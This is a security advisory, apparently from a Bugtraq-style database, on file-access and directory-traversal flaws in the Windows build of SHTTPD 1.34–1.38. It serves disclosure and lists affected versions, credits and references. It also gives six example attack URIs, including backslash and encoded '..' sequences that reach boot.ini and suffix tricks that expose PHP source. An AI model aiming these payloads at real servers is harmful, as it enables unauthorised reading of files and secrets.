SHTTPD Multiple File Access And Directory Traversal Vulnerabilities

Bugtraq ID:	26768
Class:	Access Validation Error
CVE:	CVE-2007-6405 CVE-2007-6404
Remote:	Yes
Local:	No
Published:	Dec 07 2007 12:00AM
Updated:	Jul 05 2016 10:00PM
Credit:	Luigi Auriemma is credited with the discovery of these vulnerabilities. Shay priel is credited with discovering the %20 character issue.
Vulnerable:	SHTTPD SHTTPD 1.38 SHTTPD SHTTPD 1.35 SHTTPD SHTTPD 1.34
Not Vulnerable:

SHTTPD Multiple File Access And Directory Traversal Vulnerabilities

SHTTPD is prone to multiple file-access vulnerabilities and a directory-traversal vulnerability.

An attacker can exploit these issues to obtain sensitive information and to read arbitrary files on the affected computer with the privileges of the user running the application.

Note that these issues apply only to the Windows implementation of SHTTPD.

SHTTPD Multiple File Access And Directory Traversal Vulnerabilities

Attackers can exploit these issues via a browser.

The following example URIs are available:

http://www.example.com/..\..\..\boot.ini
http://www.example.com/..\%2e%2e%5c..\boot.ini
http://www.example.com/file.php+
http://www.example.com/file.php.
http://www.example.com/file.php%80
http://www.example.com/file.php%ff

SHTTPD Multiple File Access And Directory Traversal Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

SHTTPD Multiple File Access And Directory Traversal Vulnerabilities

References:

• SHTTPD (Simple HTTPD) Homepage (Sergey Lyubka )
  
• Two vulnerabilities in Simple HTTPD 1.38 (Luigi Auriemma )